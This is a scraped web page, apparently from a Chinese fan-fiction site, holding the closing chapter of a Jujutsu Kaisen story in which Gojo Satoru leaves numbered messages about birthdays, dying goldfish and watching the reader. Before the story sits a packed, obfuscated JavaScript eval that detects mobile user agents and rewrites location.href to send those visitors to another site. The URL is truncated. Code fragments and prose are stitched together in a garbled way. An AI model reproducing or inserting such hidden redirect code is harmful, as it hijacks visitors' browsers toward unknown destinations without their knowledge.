;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230743|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色的尾巴依然漂亮。 五条悟小幅度弯了弯唇。 60 快要过生日了,你什么时候回来? 61 生日过完了,你回来的话还能吃上蛋糕。 62 生日过完一周了,你今天回来的话,冰箱里还有一小半块。 63 蛋糕坏了,你回来的话,他可以让侍女再出去买。你什么时候回来。 64 金鱼死了。 65 又是一年春日祭,直哉问你去哪里了,他带了没吃完的饼干。 我也带了,每天都放了一小块在口袋里,我也想知道你去哪里了。 66 下人送了一条一模一样的金鱼给我,红色的,比你那条要小。 67 生日快乐。 68 第二条金鱼也死了。 69 你还回来见我吗? 70 第三条和第四条也死了,就算有配偶,还是会死。 71 生日快乐。你还回来见我吗? 72 我不想再养金鱼了。 73 生日快乐。 74 生日快乐,春天了。 75 秋天。 76 春。 77 。 78 (空白) 79 (空白) 80 (空白) 81 (空白) 82 (空白) 83 (空白) 84 (空白) 85 (空白) 86 (空白) 87 (空白) 88 (空白) 89 (空白) 90 我看见你了。 91 你也能看见我,不是吗? 92 通过文字的方式交流,这的确是一件很新奇的事情。 不过比起这个,我想知道你这些年去哪里了。 你离开日本了吗? 除了这个我想不到其他答案。 但是现在你又回来了。 93 很惊奇? 因为我知道你在看我。 就像我现在知道,你正拿着手机,看这句话一样。 94 你想见我吗? 95 我一直在看你。 96 别切换页面,我不在本家,所以到你那里,很方便。 97 你给我的那条金鱼死了,我养了很久,五条家的侍女说是寿命到了,但鱼的寿命有十年。 我现在比之前长高了不少,你想见见我吗? 98 我知道你为什么喜欢吃饼干了。它们的确很好吃。 所有的甜食都很好吃,你应该早点告诉我的,那个时候我就可以和你一起吃饼干。 你想见我吗?我可以带你去吃东京最好吃的黄油土豆和仙台的喜久福。 黄油饼干也可以,虽然都有黄油两个字,啊……不过还是感觉黄油土豆更好吃一些。不过如果你想吃黄油饼干,我也可以陪你一起。 99 你还在惊讶吗? 因为看见这些文字。 没什么好惊讶的吧,我之前就已经说过了,你是我的。 就算离开了五条家,你也还是我的。 100 啊。 101 抬头。 我看见你了。 【全文完】